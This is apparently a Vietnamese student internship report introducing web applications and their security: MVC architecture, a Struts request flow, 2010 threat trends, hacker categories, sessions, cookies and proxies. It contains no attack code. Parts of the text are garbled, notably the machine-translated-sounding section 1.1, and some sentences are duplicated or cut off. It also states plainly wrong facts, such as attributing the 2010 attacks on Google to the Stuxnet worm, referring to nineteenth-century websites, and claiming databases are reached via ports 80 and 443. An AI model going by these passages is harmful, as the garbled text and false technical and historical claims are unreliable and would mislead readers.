Hacker có thể dùng những tool này để phát hiện những lỗ hổng của một ứng dụng web và từ đó sẽ có cách tấn công tương ứng vào lỗ hổng này gây ra rất nhiều tổn thất Vì vậy việc nghiên cứu
Trang 1LỜI MỞ ĐẦU
Trong thời đại ngày này nay internet đã rất trở nên quen thuộc và là một công cụ hữu ích để một đất nước, tổ chức giới thiệu hình ảnh hay đơn giản chỉ là một trang web cá nhân của một ai đó giới thiệu về mình Tất cả đã kéo theo sự phát triển không ngừng của các ứng dụng web Và dần dần khái niệm ứng dụng web đã trở nên phổ biến Khi mà trên internet ,ứng dụng web
đã trở lên phổ biến ,ứng dụng một cách rộng rãi thì các cuộc tấn công ứng dụng web cũng phát triển hết sức phức tạp Điều này đã đặt ra vấn đề cấp thiết cần làm như thế nào để bào đảm an toàn thông tin cho ứng dụng web, thông tin của người sử dụng Các khái niệm chuyên môn về ứng dụng web
và tấn công ứng dụng web cũng dần trở nên phổ biến hơn trong các tài liệu chuyên ngành Các công cụ hỗ trợ người lập trình web, người quản trị mạng cũng xuất hiện giúp tìm kiếm lỗ hổng của ứng dụng web nhưng nó không theo kịp sự phát triển nhanh đến mức chóng mặt theo xu hướng nhanh hơn đẹp hơn của các ứng dụng web, và tất nhiên nó không thể ngăn chặn hoàn toàn các cuộc tấn công ứng dụng web, khi mà các cuộc tấn công ngày càng đa dạng khai thác triệt để những lỗi của ứng dụng web, của người quản trị, hay người lập trình ứng dụng web.
Thống kê cho thấy 75% cuộc tấn công internet là tấn công ứng dụng web,nó gây ra những thiệt hại vô cùng to lớn, vì vậy việc tìm hiểu về tấn công ứng dụng web là rất cần thiết nhằm có cách phòng chống tấn công và bảo mật ứng dụng web hiệu quả trở thành một yêu cầu cấp thiết
Do đây là một xu thế tất yếu của thời, nên việc tìm hiểu và nghiên cứu về ứng dụng web sẽ giúp ích rất nhiều cho các nhà lập trình web mới, hay các quản trị viên mới còn ít kinh nghiệm trong việc quản trị hệ thống mạng của mình, phòng tránh , hay khắc phục những lỗi của ứng dụng web Đồ án này được thực hiện nhằm mục đích giới thiệu rõ hơn về ứng dụng web nhằm tránh những nhầm lẫn và đồng thời tìm hiểu về những tấn công ứng dụng web phổ dụng nhằm có cách phòng chống ,bảo mật cho ứng dụng web hợp lý
Lời cảm ơn
Em xin cảm ơn khoa an toàn thông tin Học viện kỹ thuật MAatj Mã đã tạo điều kiện thuận lợi để em hoàn thành báo cáo thực tập này
Trang 2Cảm ơn Thầy Vũ Đình Thu và các thầy trong khoa an toàn thông tin
đã tận tình hướng dẫn cung cấp tài liệu và giúp đỡ em làm báo cáo thực tập này.
CHƯƠNG 1 : TỔNG QUAN VỀ WEBSITE
1.1 XU HƯỚNG PHÁT TRIỂN.
Các khách hàng quen nhìn nhận sự phát triển của các phương tiện truyền thông mới để mang lại lợi nhuận nhiều hơn về thu tiền tệ Nhưng khi các tiến bộ trên thế giới thì web đã đảm nhận trách nhiệm vai trò mới.
Để mang lại mức tăng của sự tham gia và nhường đường cho các tương tác nhiều hơn, nhiều chương trình dịch vụ cộng đồng đã được mở cửa cho người dân Hiện nay rất nhiều các dịch vụ một cộng đồng như Face book, Orkut, Hi5, vv, kết nối người dân và cộng đồng Blog và diễn đàn có thêm như công cụ giúp tốt hơn và nền tảng cho việc tương tác với nhau Sau đó có Wiki mà làm cho nguồn tài nguyên trực tuyến có sẵn quan trọng cho người dân nói chung.
Trong cộng đồng phát triển công nghệ web đã được tái phát triển chủ yếu để làm cho chúng thân thiện và tương tác Trên mặt trước thiết kế kỹ thuật hai cũng như các lập trình khoa học có được sử dụng để giả mạo sản phẩm cuối cùng vì lợi ích của nhân dân tại lớn Theo bây giờ nhiều người trong số các sản phẩm hoặc dịch vụ trực tuyến đang có sẵn như là miễn phí
và mở các dịch vụ kết thúc.
Do đó phát triển cộng đồng web kết hợp tất cả những thay đổi cơ bản được yêu cầu để gở rối web từ giá trị thương mại Các dịch vụ và các sản phẩm dưới nó có chủ yếu được thiết kế và phát triển để cho phép mọi người đến gần hơn và tận hưởng những lợi ích của công nghệ mới Đó là giá trị nhắc đến vào thời điểm này mà nhiều tổ chức kinh doanh phát triển sản phẩm, cung cấp dịch vụ để có quan hệ tốt hơn với công chúng Đôi khi nó có thể xảy ra rằng một dịch vụ cộng đồng miễn phí trong quá trình do thay đổi thời gian ưu đãi của mình và chịu một bản sắc thương mại.
1.2 Khái niệm về ứng dụng web(website widget hay web application)
Mang tính kỹ thuật nhiều hơn có thể giải thích các ứng dụng Web truy vấn máy chủ chứa nội dung (chủ yếu trên cơ sở dữ liệu lưu trữ nội dung) và tạo tài liệu Web động để phục vụ yêu cầu của máy khách (chính là người dùng website) Tài liệu được tạo trong kiểu định dạng tiêu chuẩn hỗ trợ trên tất cả mọi trình duyệt (như HTML, XHTML) JavaScript là một dạng script client- side cho phép yếu tố động có ở trên từng trang (như thay đổi ảnh mỗi lần
Trang 3người dùng di chuột tới) Trình duyệt Web chính là chìa khóa Nó dịch và chạy tất cả script, lệnh… khi hiển thị trang web và nội dung được yêu cầu Dưới góc độ chức năng, ứng dụng Web là các chương trình máy tính cho phép người dùng website đăng nhập, truy vấn vào ra dữ liệu qua mạng
Internet trên trình duyệt Web yêu thích của họ Dữ liệu sẽ được gửi tới
người dùng trong trình duyệt theo kiểu thông tin động (trong một định dạng
cụ thể, như với HTML thì dùng CSS) từ ứng dụng Web qua một Web
1.3.1 Cấu trúc cơ bản của một ứng dụng web
Mô hình của một ứng dụng web đơn giản chính là mô hình MVC (Model -
View - Controller).
Tầng Model: chứa các code connect tới database,truy vấn và thêm xóa sửa
dữ liệu.
Tầng View: chứa các code tạo giao diện tương tác với người dùng, dữ liệu
được vẽ ra nhu thế nào
Tầng Controller: chứa các code điều khiển dòng dữ liệu (flow control), gắn
kết tầng Mode và tầng View lại với nhau.
Ứng dụng được chia thành các layer như thế sẽ tăng tính reuse và dễ dàng
mở rộng Chẳng hạn nếu chúng ta muốn ứng dụng có thể truy xuất trên di dộng, chúng ta chỉ cần tạo một tầng view mới riêng cho di động, tầng model
và controller không thay dổi Hay nếu chúng ta muốn thay đổi database, việc
đó cũng dễ dàng hơn, chỉ cần ta tạo tầng model mới, phần view và controller không bị ảnh hưởng.
Mô hình thể hiện quan hệ của ba lớp trong ứng dụng web:
Trang 4Hình 1 mô hình 3 tầng của một ứng dụng web
Còn đây là mô hình của một dịch vụ ứng dụng web:
Hình 2 Mô hình dịch vụ ứng dụng web đơn giản
Tầng Presentation: được dùng để giao tiếp với người dùng, nhiệm vụ chính
là hiển thị dữ liệu và nhận dữ liệu từ người dùng.
- Tầng Business Logic: nhiệm vụ chính là cung cấp các chức năng của phần mềm.
- Tầng Data: lưu trữ dữ liệu, cho phép lớp Business Logic có thể tìm kiếm, trích xuất, cập nhật… dữ liệu.
1.3.2 Giao diện của một ứng dụng web
Giao diện web đặt ra rất ít giới hạn khả năng người dùng Thông qua Java , JavaScript , DHTML , Flash và những công nghệ khác, những phương pháp chỉ ứng dụng mới có như vẽ trên màn hình, chơi nhạc, và dùng được bàn phím và chuột tất cả đều có thể thực hiện được Những kỹ thuật thông
thường như kéo thả cũng được hỗ trợ bởi những công nghệ trên
Những nhà phát triển web thường dùng ngôn ngữ kịch bản phía người dùng
để thêm hiệu quả các tính năng, đặc biệt là tạo ra một cảm giác giao tiếp trực quan mà không cần phải tải trang lại (điều mà nhiều người dùng cảm thấy ngắt quãng) Vừa rồi, những công nghệ đã được phát triển để phối hợp ngôn ngữ kịch bản phía người dùng với công nghệ phía máy chủ như PHP Ajax , một kỹ thuật phát triển web sử dụng kết hợp nhiều công nghệ khác nhau, là một ví dụ về công nghệ hiện đang tạo ra ngày càng nhiều trải nghiệm tương tác hơn.
1.3.3 Chức năng cơ bản của các ứng dụng web
Ứng dụng web phổ biến nhờ vào sự có mặt vào bất cứ nơi đâu của một
chương trình Khả năng cập nhật và bảo trì ứng dụng Web mà không phải phân phối và cài đặt phần mềm trên hàng ngàn máy tính là lý do chính cho
sự phổ biến của nó Ứng dụng web được dùng để hiện thực Webmail, bán
Trang 5hàng trực tuyến, đấu giá trực tuyến, wiki, diễn đàn thảo luận, Weblog,
MMORPG, Hệ quản trị quan hệ khách hàng và nhiều chức năng khác
Web cũng là kênh bán hàng thông minh cho hàng nghìn tổ chức, doanh nghiệp, lớn có, nhỏ có Với hơn một tỷ người dùng Internet ngày nay
(nguồn: Computer Industry Almanac 2006), thương mại điện tử Mỹ sử dụng khoảng 102 tỷ đô la trong năm 2006 cho giao dịch (nguồn: comScore
Networks 2007).
Tất cả dữ liệu như vậy cần phải được đóng gói, lưu trữ, xử lý và truyền vận theo một cách nào đó, có thể sử dụng ngay hoặc vào một ngày nào đó sau này Các ứng dụng Web, trong lĩnh vực đăng ký, đệ trình, truy vấn, đăng nhập, bán hàng và hệ thống quản lý nội dung chính là các website widget cho phép thực hiện tất cả công việc mong muốn.
Web chính là là yếu tố cơ bản giúp doanh nghiệp tăng cường hình ảnh trực tuyến của mình trên thế giới mạng, tạo ra và duy trì nhiều mối quan hệ đem lại lợi nhuận lâu dài với khách hàng tiềm năng và khách hàng hiện tại.
Không nghi ngờ gì là các ứng dụng Web đã trở thành thứ hiện hữu ở khắp mọi nơi trên thế giới Nhưng do tính kỹ thuật cao và yếu tố tổng hợp phức tạp tự nhiên nên chúng không được nhiều người biết đến chính xác, thậm chí
bị hiểu nhầm trầm trọng trong cuộc sống bận rộn hằng ngày.
Website ngày nay khác xa so với kiểu đồ họa và văn bản tĩnh của thế kỷ mười chín hay thời kỳ trước đó Các trang Web hiện đại cho phép người dùng lấy xuống nội dung động cá nhân hóa theo thiết lập và tham chiếu riêng Hơn nữa chúng cũng có thể chạy các script trên máy khách, có thể
“thay đổi” trình duyệt Internet thành giao diện cho các ứng dụng như thư điện tử, phần mềm ánh xạ tương tác (Yahoo Mail, Google Maps).
Quan trọng nhất là website hiện đại cho phép đóng gói, xử lý, lưu trữ và truyền tải dữ liệu khách hàng nhạy cảm (như thông tin cá nhân, mã số thẻ tín dụng, thông tin bảo mật xã hội …) có thể dùng ngay hoặc dùng định kỳ về sau Và, điều này được thực hiện qua các ứng dụng Web Đó có thể là thành phần webmail (thư điện tử), trang đăng nhập, chương trình hỗ trợ và mẫu yêu cầu sản phẩm hay hoạt động mua bán, hệ thống quản lý nội dung, phát triển website hiện đại, cung cấp cho các doanh nghiệp phương tiện cần thiết
để liên lạc với khách hàng tương lai và khách hàng hiện tại
Nguyên tắc hoạt động cơ bản của một ứng dụng web
Trong dạng tính toán chủ-khách trước đây, mỗi ứng dụng có chương trình khách riêng của nó sẽ phục vụ như giao diện người dùng và phải được cài đặt riêng rẽ trên mỗi máy tính cá nhân của người dùng Sự nâng cấp phần máy chủ của ứng dụng sẽ cần nâng cấp tất cả máy khách đã được cài trên mỗi máy trạm người dùng, thêm vào đó là chi phí hỗ trợ và giảm năng suất
Trang 6Ứng dụng web linh hoạt tạo ra một loạt các tài liệu Web ở định dạng chuẩn được hỗ trợ bởi những trình duyệt phổ biến như HTML/XHTML Ngôn ngữ kịch bản phía người dùng ở dạng ngôn ngữ chuẩn như JavaScript thường được thêm vào để có thêm những yếu tố động trong giao diện người dùng Nói chung, mỗi trang Web đơn lẻ được gửi tới người dùng như một tài liệu
ổn định, nhưng thứ tự các trang có thể cung cấp cảm giác trực quan, khi những gì người dùng nhập vào sẽ được trả về thông qua thành phần mẫu Web được nhúng vào trong đánh dấu trang Trong quá trình giao dịch đó, trình duyệt Web sẽ thông dịch và hiển thị trang, và hoạt động như một người dùng chung cho bất kỳ ứng dụng Web nào
Theo mô hinh MVC (Model - View - Controller).
Hình 3 Mô tả hoạt động của một ứng dụng web
Các bước hoạt động của một ứng dụng web đơn giản
Bước 1 : Browser tạo một HTTP Request gửi tới ứng dụng web
bước 2: Controller chính của Struts là class ActionServlet sẽ bắt request
này, phân tích URL của nó, và dựa vào file struts-config.xml để gửi request này tới Action class tương ứng
Bước 3: Action class là một class của Struts Framework Ứng dụng của
chúng tathường extends từ class này và viết code để sử lý những business
Trang 7tương ứng Chẳng hạn ta sẽ có một LoginAction để xử lý việc user login, logout.
Bước 4: Action class có thể truy xuất, cập nhật database nếu cần thiết.
Bước 5: Khi Action class thực hiện việc xử lý business xong, nó sẽ gửi yêu
cầu forward/redirect, cùng với dữ liệu (nếu có) về controller.
Bước 6: Controller chuyển control đến trang JSP tương ứng ở tầng view
Nếu trang JSP này có sử dụng dữ liệu, controller sẽ cung cấp cho nó (đây chính là dữ liệu mà action đã tạo ra và đua cho controller
Bước 7: Sau khi trang JSP đã chuẩn bị xong, Controller tạo một HTTP
Response gửi về cho browser, để browser hiển thị ra màn hình.
1.3.5 Vấn đề bảo mật ứng dụng web
Khi mà ứng dụng web phát triển rất nhanh về mọi mặt, khả năng ứng dụng một cách rộng rãi thì vấn đề bảo mật cho ứng dụng web cũng được chú trọng hơn Mặc dù không thể phủ nhận những cải tiến nâng cao đáng kể hiện nay, nhưng vấn đề về bảo mật trong ứng dụng Web vẫn không ngừng tăng lên Nguyên nhân có thể xuất phát từ các đoạn mã không phù hợp Nhiều điểm yếu nghiêm trọng hay các lỗ hổng cho phép hacker xâm nhập thẳng và truy cập vào cơ sở dữ liệu tách lấy dữ liệu nhạy cảm Nhiều cơ sở dữ liệu chứa thông tin giá trị (như chi tiết cá nhân, thông tin tài chính) khiến chúng trở thành đích nhắm thường xuyên của hầu hết hacker Mặc dù hoạt động tấn công phá hoại website doanh nghiệp vẫn diễn ra thường xuyên, nhưng bây giờ tin tặc thích tăng cường khả năng truy cập dữ liệu nhạy cảm nằm trên trình chủ chứa database hơn vì lợi nhuận khổng lồ từ các vụ mua bán dữ liệu đem lại.
Trang 8Hình 3 Mô hình hoạt động của một ứng dụng web
Trong khung hoạt động mô tả ở trên, bạn có thể thấy thật dễ dàng cho một hacker truy cập nhanh chóng thông tin nằm trên cơ sở dữ liệu chỉ với một chút sáng tạo Nếu may mắn hơn chúng có thể gặp lỗ hổng xuất phát từ sự cẩu thả hay lỗi người dùng trên các ứng dụng Web.
Như đã nói, website phụ thuộc vào cơ sở dữ liệu để phân phối thông tin được yêu cầu cho người dùng Nếu ứng dụng Web không an toàn (như có lỗ hổng, gặp phải một kiểu kỹ thuật hacking nào đó), toàn bộ cơ sở dữ liệu chứa thông tin nhạy cảm sẽ gặp nguy hiểm nghiệm trọng.
Một số hacker có thể chèn mã độc hại vào ứng dụng Web có lỗ hổng để lừa đảo người dùng và dẫn họ tới website phishing Kỹ thuật này được gọi là Cross-site Scripting, có thể được dùng ngay cả khi bản thân Web Server và nơi chứa cơ sở dữ liệu không có lỗ hổng nào.
Một cuộc nghiên cứu gần đây chỉ ra rằng 75% các cuộc tấn công mạng được thực hiện ở mức ứng dụng Web.Website và các ứng dụng Web liên quan luôn phải sẵn sàng 24/7 để cung cấp dịch vụ theo yêu cầu khách hàng, yêu cầu từ phía nhân viên, nhà cung cấp và nhiều người liên quan khác.
ZF Tường lửa, SSL không thể bảo vệ ứng dụng Web trước mọi hoạt động hacking, đơn giản vì truy cập vào website phải để ở chế độ public để bất kỳ ai cũng có thể ghé thăm website được Tất cả hệ thống cơ sở dữ liệu hiện đại (như Microsoft SQL Server, Oracle, MySQL) đều có thể truy cập qua một số cổng cụ thể (như cổng 80, 443) Nếu muốn, một người nào đó có thể kết nối trực tiếp tới cơ sở dữ liệu một cách hiệu quả khi vượt qua cơ chế
Trang 9bảo mật của hệ điều hành Các cổng này để mở nhằm cho phép liên lạc với hoạt động giao thông mạng hợp pháp, và do đó cũng hình thành nên lỗ hổng lớn nguy hiểm.
Các ứng dụng Web thường truy cập dữ liệu cuối như cơ sở dữ liệu khách hàng, điều khiển dữ liệu có giá trị và do đó rất khó để có thể tuyệt đối an toàn Lúc này truy cập dữ liệu thường không kèm script cho phép đóng gói
và truyền tải dữ liệu Nếu một hacker nhận ra điểm yếu trong một script, anh
ta có thể dễ dàng mở lại lưu lượng sang khu vực khác và chia lẻ bất hợp pháp chi tiết cá nhân người dùng, dù đôi khi không hề chủ tâm làm điều đó Hầu hết ứng dụng Web đều là tự tạo, do đó ít có được các kiểm tra trình độ hơn so với phần mềm cùng loại Do đó các ứng dụng tùy biến thường dễ bị tấn công hơn.
Có thể nói ứng dụng Web là một cổng vào (gateway) của cơ sở dữ liệu, nhất
là các ứng dụng tùy biến Chúng không được phát triển với mức bảo mật tốt nhất vì không phải qua các kiểm tra bảo mật thông thường Nói chung, bạn cần trả lời câu hỏi: “Phần nào trên website chúng ta nghĩ là an toàn nhưng lại
mở cửa cho các cuộc tấn công?” và “Dữ liệu nào chúng ta đem vào một ứng dụng khiến nó thực hiện một số điều không nên làm?”.Đó là công việc của phần mềm rà soát lỗ hổng Web.
Hiện nay , hacker có rất nhiều cách tấn công một ứng dụng web từ các kĩ thuật cơ bản cho đến những kĩ thuật đòi hỏi kĩ thuật và công nghệ cao cao Các công cụ(tool) hỗ trợ ra đời ngày càng nhiều , hỗ trợ rất nhiều cho người quản trị mạng , tìm ra những lỗ hổng để có bản vá lỗi kịp thời nhưng đồng thời nó cũng là một con dao hai lưỡi Hacker có thể dùng những tool này để phát hiện những lỗ hổng của một ứng dụng web và từ đó sẽ có cách tấn công tương ứng vào lỗ hổng này gây ra rất nhiều tổn thất
Vì vậy việc nghiên cứu về các kĩ thuật tấn công và những tool cơ bản hiện nay là một nhu cầu tất yếu trong việc nghiên cứu bảo mật ứng dụng web.
1.4 Xu hướng tấn công website – các vấn đề về hacker
Máy tính và an ninh mạng luôn là trò chơi mèo vờn chuột không có hồi kết Những kẻ tấn công không chỉ giỏi về công nghệ mà còn sâu sắc trong nhận định xu hướng xã hội để rồi tìm ra điểm yếu, lỗ hổng khiến nhiều
người phải điêu đứng, nhiều tổ chức phải đau đầu Hãy cùng nhìn lại những
xu hướng an ninh mạng hàng đầu trong năm nay để bạn có thể tìm ra cách bảo vệ chiếc máy tính của riêng mình tốt hơn trong thời gian tới.
Mục tiêu đe dọa
Trang 10Năm 2010 bắt đầu bằng vụ đại gia Google và hàng loạt các tên tuổi lớn bị tin tặc tấn công Đây là nét mới mẻ trong lựa chọn mục tiêu của các hacker với công cụ là loại sâu có tên Stuxnet.
Gary Egan, giám đốc trung tâm phản hồi an ninh của Symantec cho
hay:“Có thể thấy rằng Stuxnet đã mở ra bước phát triển đáng lo ngại của
các phần mềm độc hại Với mục tiêu là các công ty công nghệ lớn, thiệt hại trong thế giới thực là hết sức rõ ràng Trên thực tế, tác động chính trị và xã hội của loại sâu này đã vượt quá tầm kiểm soát.”
Trò chơi trong khuôn cát (sandbox)
Trang 11Sandbox (khuôn cát) trong năm 2010 đã trở thành một thuật ngữ được sử dụng rộng rãi Trên trình duyệt Chrome của Google và Adobe Reader đã chấp nhận Sandbox như biện pháp ngăn chặn tấn công hữu hiệu Đây là khu vực an toàn riêng biệt cho phép chạy các mã như Javascript song không thể lây nhiễm hay ảnh hưởng đến phần còn lại của hệ thống Sử dụng Sandbox, người dùng có thể tránh được hầu hết các cuộc tấn công phổ biến nhất.
Một phát ngôn viên của Invincea nhận xét: “Sandbox có thể vượt ra ngoài
phạm vi các ứng dụng cá nhân và trở nên rộng rãi trên thị trường Điều đó
sẽ khiến cho sự lây lan virus qua web bị vô hiệu hóa ngay từ khi bắt đầu, kể
cả là mã khai thác dựa trên sự tin tưởng của khách hàng, ví dụ như virus giả mạo, SEO và khai thác lõi…”
Danh hiệu của năm cho Microsoft
Trang 12Microsoft đã tự mình phá vỡ nhiều kỷ lục trong năm 2010 ở khía cạnh xác định và vá lỗ hổng phần mềm Bất chấp việc một số người sẽ chỉ trích sự cẩu thả trong xây dựng hệ thống của hãng, họ cho rằng gã khổng lồ đã trở nên hiệu quả hơn trong phát hiện lỗi và đáp ứng kịp thời hơn Microsoft liên tục đưa ra các bản tin bảo mật cập nhật trong năm qua Nói đến vấn đề này,
Egan cho hay: “Trong năm 2010, Microsoft đã phát hiện và khắc phục 261
lỗ hổng, tăng hơn gần 100 lỗi so với con số 170 của năm ngoái.”
Bộ công cụ tấn công Web
Trang 13Thêm một năm chứng kiến sự gia tăng chóng mặt của các bộ dụng cụ tấn công Web – thứ cho phép những kẻ “mới vào nghề” nhanh chóng khai thác
lỗ hổng bảo mật rồi phát triển các phần mềm độc hại tấn công tinh vi.
Có thể kể đến Mariposa, một dạng botnet bị ngăn chặn bởi hãng bảo mật
Panda như ví dụ cho vấn đề này Kẻ tạo ra Mariposa, Iserdo 23 tuổi, dường như không có, hoặc có rất ít kiến thức về lập trình Song đã có tới 12 triệu máy tính trên toàn thế giới bị tác động.
Ori Eisen, chuyên gia hàng đầu về bảo mật cho hay: “Chúng ta đang tiến
rất gần đến thời điểm kết nối toàn cầu Ở đó, các cuộc tấn công sẽ nhảy vọt theo cấp số nhân từ những ảnh hưởng hạn chế sang thành quả thu được lớn hơn rất nhiều bởi rào cản biên giới gần như không tồn tại.”
Cuộc tấn công xã hội hóa
Có một điều không bao giờ thay đổi, đó là mắt xích yếu nhất của chuỗi bảo mật luôn là những người ngồi trước bàn phím máy tính Các tin tặc sẽ tiếp tục khai thác sự “ngây thơ” này và biến đây thành kỹ năng đáng sợ nhất của chúng.
Đến chính Rogue, một phần mềm diệt virus đã bị mượn tên để làm giả thành chương trình chứa những mã độc hại, và có rất nhiều người không hề hay
Trang 14biết Thật vậy, xu hướng phổ biến của năm 2010 là các nạn nhân tự mời gọi hacker đi qua cửa trước khi chúng khoác lớp vỏ ngoài "trông có vẻ" hợp pháp.
Giờ đây, Facebook và Twitter đang trở thành một mục tiêu đầy tiềm năng Các khách hàng sẽ chẳng thèm đoái hoài đến những lời cảnh báo khi vô tư chia sẻ thông tin cá nhân trên các trang mạng, để rồi một cuộc tấn công lớn mang tầm vóc xã hội sẽ nhanh chóng hình thành.
Khi chúng ta bước vào năm 2011, mối đe dọa sẽ còn nhiều hơn Có thể smartphone hay máy tính bảng sẽ là mục tiêu kế tiếp, nhưng tất cả đều phụ thuộc vào sự cảnh giác của mỗi người dùng.
1.5 Vấn đề bảo mật website ngày nay.
Ngày nay các mối đe dọa đến từ cổng 80 và 443 ngày một tăng so với các mối đe dọa bảo mật khác Việc mở rộng sự phức tạp của các tấn công web đòi hỏi các công ty cần phải triển khai một giải pháp bảo mật web mạnh mẽ Hành động lọc URL đơn giản đã xuất hiện một vài năm và nó phải là thành phần cốt lõi trong việc bảo mật web Mặc dù vậy, bảo mật web cần có thêm nhiều tính năng khác ngoài vấn đề lọc URL, chẳng hạn như quét AV, malware, biết các IP xác thực, kỹ thuật phân loại URL và các chức năng ngăn chặn lọt dữ liệu Kẻ tấn công có thể thỏa hiệp các site có tiểu sử khá tốt
vì vậy nếu chúng ta chỉ dựa vào việc lọc danh sách trắng và danh sách đen các URL thì phương pháp này sẽ không còn an toàn Bất cứ giải pháp bảo mật web nào đều phải có khả năng quét lưu lượng web động để có thể đưa ra quyết định có tính hợp lệ.
1.6 Các khái niệm và thuật ngữ liên quan đến tấn công và bảo
mật ứng dụng web
1.6.1 Khái niệm hacker
Khái niệm hacker có từ những 50, 60 của thế kỉ trước , và cho đến nay trải qua một thời gian phát triển khá dài hacker chia làm 4 loại:
- Hacker mũ trắng: là những chuyên gia lập trình chuyên tìm các lỗi của phần mềm với mục đích sửa chữa, xây dựng hệ thống an toàn hơn.
- Hacker mũ đen: đối lập với hacker mũ trắng, là những hacker phá hoại và trục lợi cho mình.
Trang 15- Hacker mũ xanh/samurai: là những chuyên gia lập trình tài năng, được các hãng như Microsoft mời về làm việc chuyên tìm lỗi cho phần mềm của họ.
- Hacker mũ xám hay mũ nâu: là những người đôi khi làm công việc của hacker
mũ trắng nhưng vẫn làm công việc của hacker mũ đen.
- Dù tự nhận mình là giới nào, họ vẫn đang làm công việc xâm nhập hệ thống thông qua những lỗ hổng bảo mật Vì vậy tôi sẽ sủ dụng thuật ngữ hacker để chỉ nhũng người tấn công ứng dụng web.
HTTP HEARDER là trường phần đầu chứa các thông số hoạt động của một yêu cầu HTTP giữa máy chủ và máy khách Những thông tin trình khách gửi trình chủ gọi là HTTP requests(yêu cầu ),những thông tin trình chủ gửi cho trình khách gọi là HTTP responses(trả lời )
Các trường tiêu đề xác định đặc điểm khác nhau của việc chuyển dữ liệu được yêu cầu hoặc các dữ liệu được cung cấp trong thông điệp HTTP Header có thể có nhiều dòng và thường bắt đầu với tên trường, chấm dứt với một ký tự đại tràng, tiếp theo là giá trị trường Tên trường và các giá trị có thể là bất kỳ ứng dụng cụ thể chuỗi , nhưng tập lõi các lĩnh vực được chuẩn hóa bởi Internet Engineering Task Một số tham số được sử dụng cả trong trình khách mà trình chủ.
- (Có bảng danh sách các tham số ở cuối đồ án )
Trang 16SessionID là một chuỗi để chứng thực phiên làm việc Một số trình chủ sẽ cấp phát session cho người dùng khi họ xem trang web trên trình chủ
-Để duy trì phiên làm việc sessionID thường được lưu trữ vào :
+Biến trên URL
+Biến ẩn from
+Cookie
-Phiên làm việc chỉ tồn tại trong khoảng thời gian cho phép, thời gian này được quy định tại trình chủ hoặc bởi ứng dụng thực thi.Trình chủ tự động giải phóng phiên làm việc để khôi phục tài nghuyên hệ thống.
Những lần truy cập sau vào trang web đó ứng ứng dụng có thể sử dụng lại những thông tin trong cookie(các thôgn tin tai khoản liên quan) mà người dùng không cần phải đăng nhập hay cung cấp thêm thông tin gì cả.
Có nhiều cách phân loại cookie, phân loại theo đối tượng thiết lập của cookie.thì cookie chia làm 2 loại: Cookie của bên thứ nhất là cookie được thiết lập bởi tên miền trang web được liệt kê trong thanh địa chỉ Cookie của bên thứ ba đến
từ các nguồn tên miền khác có các mục, chẳng hạn như quảng cáo hoặc hình ảnh,
Trang 17được nhúng vào trang Ngoài ra còn cách chia chia khác chia cookie thành 4 loại
vì có secure/non-secure và perisent/non- perisent nên ta có:
• Non-persistent cookie thì được lưu trữ trên bộ nhớ RAM của máy khách và
sẽ bị hủy khi đóng trang web hay nhận được lệnh hủy từ trang web.
• Secure cookies chỉ có thể được gửi thông qua HTTPS (SSL).
• Non-Secure cookie có thể được gửi bằng cả hai giao thức HTTPS hay HTTP Thựcchất là đối với secure cookie thì trình chủ sẽ cung cấp chế độ truyền bảo mật.
Các thành phầncủa một cookie gồm:
1 Domain: Tên miền của trang web đã tạo cookie ( trong ví dụ trên
2 Flag: mang giá trị TRUE/FALSE - Xác định các máy khác với cùng tên miền có được truy xuất đến cookie hay không.
3 Path: Phạm vi các địa chỉ có thể truy xuấtcookie.Ví dụ: Nếu path là
“/tracuu” thì các địa chỉ trong thư mục /tracuu cũng như tất cả các thư mục con của nó như /tracuu/baomat có thể truy xuất đến cookie này Còn nếu giá tri là “/” thì cookie sẽ được truy xuấtbởitất cả địa chỉ thuộcmiềntrang web tạo cookie.
Trang 184 Sercure: mang giá trị TRUE/FALSE - Xác định đây là một secure cookie hay không nghĩa là kết nối có sử dụng SSL hay không.
5 Expiration:thời gian hết hạn của cookie, được tính bằng giây kể từ 00:00:00 giờ GMT ngày 01/01/1970 Nếu giá trị này không được thiết lập thì trình duyệt sẽ hiểu đây là non-persistent cookie và chỉ lưu trong bộ nhớ RAM và sẽ xoá nó khi trình duyệt bị đóng.
6 Name:Tên biến (trong trường hợp này là Apache)
7 Value: Với cookie được tạo ở trên thì giá trị của Apache là 64.3.40.151.16018996349247480 và ngày hết hạn là 27/07/2006, của tên miền http://www.redhat.com
- Các cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường dẫnCác cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường dẫn
là: C:\Program Files\Netscape\Users\UserName\Cookies.tx
-Các cookies của IE được lưu thành nhiều tập tin, mỗi tập tin là một cookie và được đặt trong [C:]\Documents and Setting\[username]\Cookies (Win2000), đối với win9x, thư mục cookies nằm trong thư mục [C:]\Windows\cookies.
-Kích thước tối đa của cookie là 4kb Số cookie tối đa cho một tên miền là 20 cookie.
Cookie bị hủy ngay khi đóng trình duyệt gọi là “ session cookie ”.
• Bạn cần biết về cài đặt cookie vì cookie có thể cho phép các trang web theo dõi điều hướng của bạn khi bạn truy cập vào các trang web đó.
1.6.5 PROXY
Proxy cung cấp cho người sử dụng truy xuất Internet những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host
Trang 19Những chương trình client của người sử dụng sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp.
Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp những yêu cầu từ client đến server, cũng như trả lờicủa
server đến client Vì vậy proxy server giống cầu nối trung gian giữa server và client.
Xu hướng an ninh bảo mật tại các nước phát triển rất khác với Việt Nam Hiện nay, những hacker trên thế giới đang hình thành những nhóm hoạt động tinh vi và có động cơ chiếm đoạt tài chính bằng cách xâm nhập vào website của DN để đánh cắp các thông tin nhạy cảm như: thông tin thẻ tín dụng, tài khoản ngân hàng, thông tin khách hàng hoặc những tài sản trí tuệ Tôi tin rằng hiện nay các ngân hàng (NH) và các công ty thuộc lĩnh vực tài chính tại Việt Nam ngày càng phát triển, điều đó sẽ thu hút các nhóm hacker thế giới
Những hacker lão làng có động cơ xấu có thể xâm nhập vào hệ thống CNTT của công ty qua ngõ web của công ty nếu nó được bảo mật yếu và từ đó họ có thể xâm nhập vào những đường kết nối mạng khác nếu chúng có cấu hình kém Những tấn công này thường
âm thầm (không ầm ĩ như những trường hợp deface trang web) nhưng gây tổn thất rất lớn
